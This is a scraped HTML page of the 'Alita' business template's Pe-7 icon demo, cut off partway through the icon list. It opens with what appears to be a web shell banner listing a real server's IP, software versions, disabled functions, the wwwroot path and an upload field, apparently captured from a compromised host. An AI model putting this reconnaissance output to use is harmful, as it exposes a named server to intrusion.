| Server IP : 103.6.199.200 / Your IP : 52.14.27.122 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/trackpro/m3technokraaft.trackprop.com/wwwroot/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<!-- elements-pe-7-icons25-->
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Responsive Multipurpose HTML5 Business Template">
<meta name="author" content="Shreethemes">
<link rel="shortcut icon" href="images/favicon.ico">
<title>Alita - A Responsive Multipurpose HTML Template</title>
<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css?family=Montserrat:400,500,600,700|Poppins" rel="stylesheet">
<!-- Bootstrap core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Magnificpopup Css -->
<link rel="stylesheet" type="text/css" href="css/magnific-popup.css">
<!-- Bootstrap core CSS -->
<link href="css/materialdesignicons.min.css" rel="stylesheet">
<link href="css/fontawesome.css" rel="stylesheet">
<link href="css/pe-icon-7-stroke.css" rel="stylesheet">
<!--Slider-->
<link rel="stylesheet" href="css/slick.css"/>
<link rel="stylesheet" href="css/slick-theme.css"/>
<!-- Custom styles for this template -->
<link href="css/style.css" rel="stylesheet">
<link href="css/menu.css" rel="stylesheet">
<link href="css/default.css" rel="stylesheet">
</head>
<body>
<!-- Loader -->
<div id="preloader">
<div id="status">
<div class="spinner">
<div class="double-bounce1"></div>
<div class="double-bounce2"></div>
</div>
</div>
</div>
<!-- Navigation Bar-->
<div class="tagline hidden-md">
<div class="container">
<div class="float-left">
<div class="phone">
<i class="fas fa-phone"></i> +1 123 456 78 90
</div>
</div>
<div class="float-right">
<ul class="top_socials">
<li><a href="#"><i class="fab fa-facebook-f"></i></a></li>
<li><a href="#"><i class="fab fa-twitter"></i></a></li>
<li><a href="#"><i class="fab fa-instagram"></i></a></li>
<li><a href="#"><i class="fab fa-dribbble"></i></a></li>
<li><a href="#"><i class="fab fa-pinterest"></i></a></li>
</ul>
</div>
<div class="clear"></div>
</div>
</div>
<!-- Navigation Bar-->
<header id="topnav" class="defaultscroll fixed-top navbar-sticky sticky">
<div class="container">
<!-- Logo container-->
<div>
<a href="index-2.html" class="logo">
<img src="images/logo.png" alt="missing_logo" height="20">
</a>
</div>
<!-- End Logo container-->
<div class="menu-extras">
<div class="menu-item">
<!-- Mobile menu toggle-->
<a class="navbar-toggle">
<div class="lines">
<span></span>
<span></span>
<span></span>
</div>
</a>
<!-- End mobile menu toggle-->
</div>
</div>
<div id="navigation">
<!-- Navigation Menu-->
<ul class="navigation-menu">
<li class="has-submenu">
<a href="#">Home</a><span class="menu-arrow"></span>
<ul class="submenu">
<li class="has-submenu"><a href="javascript:void(0)">Business</a><span class="submenu-arrow"></span>
<ul class="submenu">
<li><a href="index-2.html">Business one</a></li>
<li><a href="business-2.html">Business Two</a></li>
<li><a href="business-3.html">Business Three</a></li>
<li><a href="business-4.html">Business Four</a></li>
</ul>
</li>
<li class="has-submenu"><a href="javascript:void(0)">Agency</a><span class="submenu-arrow"></span>
<ul class="submenu">
<li><a href="agency-1.html">Agency One</a></li>
<li><a href="agency-2.html">Agency Two</a></li>
<li><a href="agency-3.html">Agency Three</a></li>
</ul>
</li>
<li class="has-submenu"><a href="javascript:void(0)">Landing Page</a><span class="submenu-arrow"></span>
<ul class="submenu">
<li><a href="landing-1.html">Landing One</a></li>
<li><a href="landing-2.html">Landing Two</a></li>
<li><a href="landing-3.html">Landing Three</a></li>
</ul>
</li>
<li class="has-submenu"><a href="javascript:void(0)">Resume</a><span class="submenu-arrow"></span>
<ul class="submenu">
<li><a href="resume-1.html">Resume one</a></li>
<li><a href="resume-2.html">Resume Two</a></li>
</ul>
</li>
<li><a href="one-page.html">One Page</a></li>
</ul>
</li>
<li class="has-submenu">
<a href="javascript:void(0)">About</a><span class="menu-arrow"></span>
<ul class="submenu">
<li><a href="about.html">About</a></li>
<li><a href="history.html">History</a></li>
<li class="has-submenu"><a href="javascript:void(0)">Services</a><span class="submenu-arrow"></span>
<ul class="submenu">
<li><a href="service.html">Services</a></li>
<li><a href="service-image.html">Service With Image</a></li>
<li><a href="service-detail.html">Single Service</a></li>
</ul>
</li>
<li class="has-submenu"><a href="javascript:void(0)">Team Members</a><span class="submenu-arrow"></span>
<ul class="submenu">
<li><a href="team-grid.html">Grid Teams</a></li>
<li><a href="team-list.html">List Teams</a></li>
<li><a href="team-detail.html">Single Team</a></li>
</ul>
</li>
<li class="has-submenu"><a href="javascript:void(0)">Work</a><span class="submenu-arrow"></span>
<ul class="submenu">
<li><a href="work-col-three.html">Three Column Portfolio</a></li>
<li><a href="work-col-four.html">Four Column Portfolio</a></li>
<li><a href="work-col-six.html">Six Column Portfolio</a></li>
<li><a href="work-single.html">Single Portfolio</a></li>
</ul>
</li>
</ul>
</li>
<li class="has-submenu">
<a href="javascript:void(0)">Pages</a>
<span class="menu-arrow"></span>
<ul class="submenu megamenu">
<li>
<ul>
<li><a href="faq.html"><b class="mdi mdi-chevron-right"></b> FAQ's</a></li>
<li><a href="price.html"><b class="mdi mdi-chevron-right"></b> Pricing Table</a></li>
<li><a href="privacy.html"><b class="mdi mdi-chevron-right"></b> Privacy Policy</a></li>
<li><a href="login.html"><b class="mdi mdi-chevron-right"></b> Log In</a></li>
<li><a href="signup.html"><b class="mdi mdi-chevron-right"></b> Sign Up</a></li>
<li><a href="forgot-password.html"><b class="mdi mdi-chevron-right"></b> Forgot Password</a></li>
</ul>
</li>
<li>
<ul>
<li><a href="working-process.html"><b class="mdi mdi-chevron-right"></b> Work Process</a></li>
<li><a href="contact.html"><b class="mdi mdi-chevron-right"></b> Contact Us</a></li>
<li><a href="blank-page.html"><b class="mdi mdi-chevron-right"></b> Blank Page</a></li>
<li><a href="coming-soon.html"><b class="mdi mdi-chevron-right"></b> Coming soon</a></li>
<li><a href="404.html"><b class="mdi mdi-chevron-right"></b> 404! Error</a></li>
<li><a href="500.html"><b class="mdi mdi-chevron-right"></b> 500! Error</a></li>
</ul>
</li>
</ul>
</li>
<li class="has-submenu">
<a href="javascript:void(0)">Blog</a>
<span class="menu-arrow"></span>
<ul class="submenu">
<li><a href="blog.html">Blog</a></li>
<li><a href="blog-left.html">Left Sidebar</a></li>
<li><a href="blog-right.html">Right Sidebar</a></li>
<li><a href="blog-single.html">Single BLog</a></li>
</ul>
</li>
<li class="has-submenu">
<a href="javascript:void(0)">Elements</a>
<span class="menu-arrow"></span>
<ul class="submenu megamenu">
<li>
<ul>
<li><a href="elements-accordions.html"><b class="mdi mdi-chevron-right"></b> Accordion</a></li>
<li><a href="elements-alert.html"><b class="mdi mdi-chevron-right"></b> Alert</a></li>
<li><a href="elements-button.html"><b class="mdi mdi-chevron-right"></b> Button</a></li>
<li><a href="elements-blockquote.html"><b class="mdi mdi-chevron-right"></b> Blockquote</a></li>
<li><a href="elements-bg.html"><b class="mdi mdi-chevron-right"></b> Backgroud Color</a></li>
<li><a href="elements-breadcrumbs.html"><b class="mdi mdi-chevron-right"></b> Breadcrumbs</a></li>
<li><a href="elements-boxed.html"><b class="mdi mdi-chevron-right"></b> Boxed</a></li>
<li><a href="elements-cta.html"><b class="mdi mdi-chevron-right"></b> Call To Action</a></li>
<li><a href="elements-dropcap.html"><b class="mdi mdi-chevron-right"></b> Dropcap</a></li>
</ul>
</li>
<li>
<ul>
<li><a href="elements-dropdown.html"><b class="mdi mdi-chevron-right"></b> Dropdown</a></li>
<li><a href="elements-funfactors.html"><b class="mdi mdi-chevron-right"></b> Fun Factors</a></li>
<li><a href="elements-form-inputs.html"><b class="mdi mdi-chevron-right"></b> Form Inputs</a></li>
<li><a href="elements-grid-structure.html"><b class="mdi mdi-chevron-right"></b> Grid Structure</a></li>
<li><a href="elements-gallery.html"><b class="mdi mdi-chevron-right"></b> Gallery</a></li>
<li><a href="elements-highlights.html"><b class="mdi mdi-chevron-right"></b> Highlights</a></li>
<li><a href="elements-material-icons.html"><b class="mdi mdi-chevron-right"></b> Material Icons</a></li>
<li><a href="elements-pe-7-icons.html"><b class="mdi mdi-chevron-right"></b> Pe-7 Icons </a></li>
<li><a href="elements-fontawesome.html"><b class="mdi mdi-chevron-right"></b> Font Awesome Icons </a></li>
</ul>
</li>
<li>
<ul>
<li><a href="elements-images.html"><b class="mdi mdi-chevron-right"></b> Images</a></li>
<li><a href="elements-labels.html"><b class="mdi mdi-chevron-right"></b> Labels</a></li>
<li><a href="elements-lightbox.html"><b class="mdi mdi-chevron-right"></b> Lightbox</a></li>
<li><a href="elements-modals.html"><b class="mdi mdi-chevron-right"></b> Modals</a></li>
<li><a href="elements-progress-bar.html"><b class="mdi mdi-chevron-right"></b> Progress Bar</a></li>
<li><a href="elements-parallax.html"><b class="mdi mdi-chevron-right"></b> Parallax</a></li>
<li><a href="elements-pagination.html"><b class="mdi mdi-chevron-right"></b> Pagination</a></li>
</ul>
</li>
<li>
<ul>
<li><a href="elements-tab.html"><b class="mdi mdi-chevron-right"></b> Tab</a></li>
<li><a href="elements-tooltip-popovers.html"><b class="mdi mdi-chevron-right"></b> Tooltip & Popovers</a></li>
<li><a href="elements-typography.html"><b class="mdi mdi-chevron-right"></b> Typography</a></li>
<li><a href="elements-tables.html"><b class="mdi mdi-chevron-right"></b> Tables</a></li>
<li><a href="elements-timeline.html"><b class="mdi mdi-chevron-right"></b> Timeline</a></li>
<li><a href="elements-testimonials.html"><b class="mdi mdi-chevron-right"></b> Testimonials</a></li>
<li><a href="elements-video.html"><b class="mdi mdi-chevron-right"></b> Video</a></li>
</ul>
</li>
</ul>
</li>
<li class="dropdown d-none d-md-inline-block">
<a class="nav-link dropdown-toggle arrow-none" data-toggle="dropdown" href="#" role="button"
aria-haspopup="false" aria-expanded="false">
<i class="fas fa-search noti-icon"></i>
</a>
<div class="dropdown-menu dropdown-menu-right dropdown-menu-search">
<div>
<form role="search" class="navbar-form">
<input type="text" placeholder="Search..." name="s" class="form-control search-bar">
<a href="#" class="btn-search"><i class="fa fa-search"></i></a>
</form>
</div>
</div>
</li>
</ul>
<!-- End navigation menu-->
</div>
</div>
</header>
<!-- End Navigation Bar-->
<!-- HOME START-->
<section class="bg-half" style="background-image: url('images/home/bg-elements.jpg');">
<div class="bg-overlay"></div>
<div class="home-center">
<div class="home-desc-center">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-12">
<div class="page-next-level text-white">
<h4 class="text-uppercase">Pe-7 Icons</h4>
<div class="page-next"> <a href="index-2.html">Home</a> <i class="mdi mdi-chevron-right"></i> <a href="#">Elements</a> <i class="mdi mdi-chevron-right"></i> <span>Pe-7 Icons</span> </div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- HOME END-->
<section class="section">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="row icon-list-demo">
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-album"></i> pe-7s-album
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-arc"></i>pe-7s-arc
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-back-2"></i>pe-7s-back-2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-bandaid"></i>pe-7s-bandaid
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-car"></i>pe-7s-car
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-diamond"></i>pe-7s-diamond
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-door-lock"></i>pe-7s-door-lock
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-eyedropper"></i>pe-7s-eyedropper
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-female"></i>pe-7s-female
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-gym"></i>pe-7s-gym
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-hammer"></i>pe-7s-hammer
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-headphones"></i>pe-7s-headphones
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-helm"></i>pe-7s-helm
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-hourglass"></i>pe-7s-hourglass
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-leaf"></i>pe-7s-leaf
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-magic-wand"></i>pe-7s-magic-wand
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-male"></i>pe-7s-male
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-map-2"></i>pe-7s-map-2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-next-2"></i>pe-7s-next-2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-paint-bucket"></i>pe-7s-paint-bucket
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-pendrive"></i>pe-7s-pendrive
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-photo"></i>pe-7s-photo
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-piggy"></i>pe-7s-piggy
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-plugin"></i>pe-7s-plugin
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-refresh-2"></i>pe-7s-refresh-2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-rocket"></i>pe-7s-rocket
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-settings"></i>pe-7s-settings
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-shield"></i>pe-7s-shield
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-smile"></i>pe-7s-smile
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-usb"></i>pe-7s-usb
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-vector"></i>pe-7s-vector
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-wine"></i>pe-7s-wine
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-cloud-upload"></i>pe-7s-cloud-upload
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-cash"></i>pe-7s-cash
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-close"></i>pe-7s-close
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-bluetooth"></i>pe-7s-bluetooth
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-cloud-download"></i>pe-7s-cloud-download
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-way"></i>pe-7s-way
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-close-circle"></i>pe-7s-close-circle
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-id"></i>pe-7s-id
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-angle-up"></i>pe-7s-angle-up
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-wristwatch"></i>pe-7s-wristwatch
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-angle-up-circle"></i>pe-7s-angle-up-circle
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-world"></i>pe-7s-world
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-angle-right"></i>pe-7s-angle-right
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-volume"></i>pe-7s-volume
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-angle-right-circle"></i>pe-7s-angle-right-circle
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-users"></i>pe-7s-users
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-angle-left"></i>pe-7s-angle-left
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-user-female"></i>pe-7s-user-female
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-angle-left-circle"></i>pe-7s-angle-left-circle
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-up-arrow"></i>pe-7s-up-arrow
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-angle-down"></i>pe-7s-angle-down
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-switch"></i>pe-7s-switch
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-angle-down-circle"></i>pe-7s-angle-down-circle
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-scissors"></i>pe-7s-scissors
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-wallet"></i>pe-7s-wallet
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-safe"></i>pe-7s-safe
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-volume2"></i>pe-7s-volume2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-volume1"></i>pe-7s-volume1
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-voicemail"></i>pe-7s-voicemail
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-video"></i>pe-7s-video
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-user"></i>pe-7s-user
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-upload"></i>pe-7s-upload
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-unlock"></i>pe-7s-unlock
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-umbrella"></i>pe-7s-umbrella
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-trash"></i>pe-7s-trash
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-tools"></i>pe-7s-tools
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-timer"></i>pe-7s-timer
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-ticket"></i>pe-7s-ticket
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-target"></i>pe-7s-target
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-sun"></i>pe-7s-sun
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-study"></i>pe-7s-study
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-stopwatch"></i>pe-7s-stopwatch
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-star"></i>pe-7s-star
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-speaker"></i>pe-7s-speaker
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-signal"></i>pe-7s-signal
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-shuffle"></i>pe-7s-shuffle
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-shopbag"></i>pe-7s-shopbag
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-share"></i>pe-7s-share
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-server"></i>pe-7s-server
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-search"></i>pe-7s-search
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-film"></i>pe-7s-film
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-science"></i>pe-7s-science
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-disk"></i>pe-7s-disk
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-ribbon"></i>pe-7s-ribbon
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-repeat"></i>pe-7s-repeat
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-refresh"></i>pe-7s-refresh
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-add-user"></i>pe-7s-add-user
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-refresh-cloud"></i>pe-7s-refresh-cloud
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-paperclip"></i>pe-7s-paperclip
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-radio"></i>pe-7s-radio
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-note2"></i>pe-7s-note2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-print"></i>pe-7s-print
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-network"></i>pe-7s-network
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-prev"></i>pe-7s-prev
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-mute"></i>pe-7s-mute
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-power"></i>pe-7s-power
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-medal"></i>pe-7s-medal
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-portfolio"></i>pe-7s-portfolio
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-like2"></i>pe-7s-like2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-plus"></i>pe-7s-plus
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-left-arrow"></i>pe-7s-left-arrow
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-play"></i>pe-7s-play
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-key"></i>pe-7s-key
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-plane"></i>pe-7s-plane
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-joy"></i>pe-7s-joy
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-photo-gallery"></i>pe-7s-photo-gallery
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-pin"></i>pe-7s-pin
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-phone"></i>pe-7s-phone
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-plug"></i>pe-7s-plug
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-pen"></i>pe-7s-pen
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-right-arrow"></i>pe-7s-right-arrow
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-paper-plane"></i>pe-7s-paper-plane
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-delete-user"></i>pe-7s-delete-user
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-paint"></i>pe-7s-paint
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-bottom-arrow"></i>pe-7s-bottom-arrow
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-notebook"></i>pe-7s-notebook
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-note"></i>pe-7s-note
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-next"></i>pe-7s-next
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-news-paper"></i>pe-7s-news-paper
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-musiclist"></i>pe-7s-musiclist
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-music"></i>pe-7s-music
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-mouse"></i>pe-7s-mouse
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-more"></i>pe-7s-more
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-moon"></i>pe-7s-moon
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-monitor"></i>pe-7s-monitor
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-micro"></i>pe-7s-micro
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-menu"></i>pe-7s-menu
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-map"></i>pe-7s-map
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-map-marker"></i>pe-7s-map-marker
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-mail"></i>pe-7s-mail
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-mail-open"></i>pe-7s-mail-open
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-mail-open-file"></i>pe-7s-mail-open-file
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-magnet"></i>pe-7s-magnet
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-loop"></i>pe-7s-loop
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-look"></i>pe-7s-look
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-lock"></i>pe-7s-lock
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-lintern"></i>pe-7s-lintern
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-link"></i>pe-7s-link
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-like"></i>pe-7s-like
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-light"></i>pe-7s-light
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-less"></i>pe-7s-less
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-keypad"></i>pe-7s-keypad
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-junk"></i>pe-7s-junk
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-info"></i>pe-7s-info
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-home"></i>pe-7s-home
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-help2"></i>pe-7s-help2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-help1"></i>pe-7s-help1
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-graph3"></i>pe-7s-graph3
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-graph2"></i>pe-7s-graph2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-graph1"></i>pe-7s-graph1
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-graph"></i>pe-7s-graph
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-global"></i>pe-7s-global
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-gleam"></i>pe-7s-gleam
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-glasses"></i>pe-7s-glasses
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-gift"></i>pe-7s-gift
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-folder"></i>pe-7s-folder
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-flag"></i>pe-7s-flag
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-filter"></i>pe-7s-filter
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-file"></i>pe-7s-file
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-expand1"></i>pe-7s-expand1
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-exapnd2"></i>pe-7s-exapnd2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-edit"></i>pe-7s-edit
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-drop"></i>pe-7s-drop
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-drawer"></i>pe-7s-drawer
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-download"></i>pe-7s-download
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-display2"></i>pe-7s-display2
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-display1"></i>pe-7s-display1
</div>
<div class="col-lg-3 col-md-4 col-sm-6">
<i class="pe-7s-diskette"></i>pe-7s-diskette
</div>
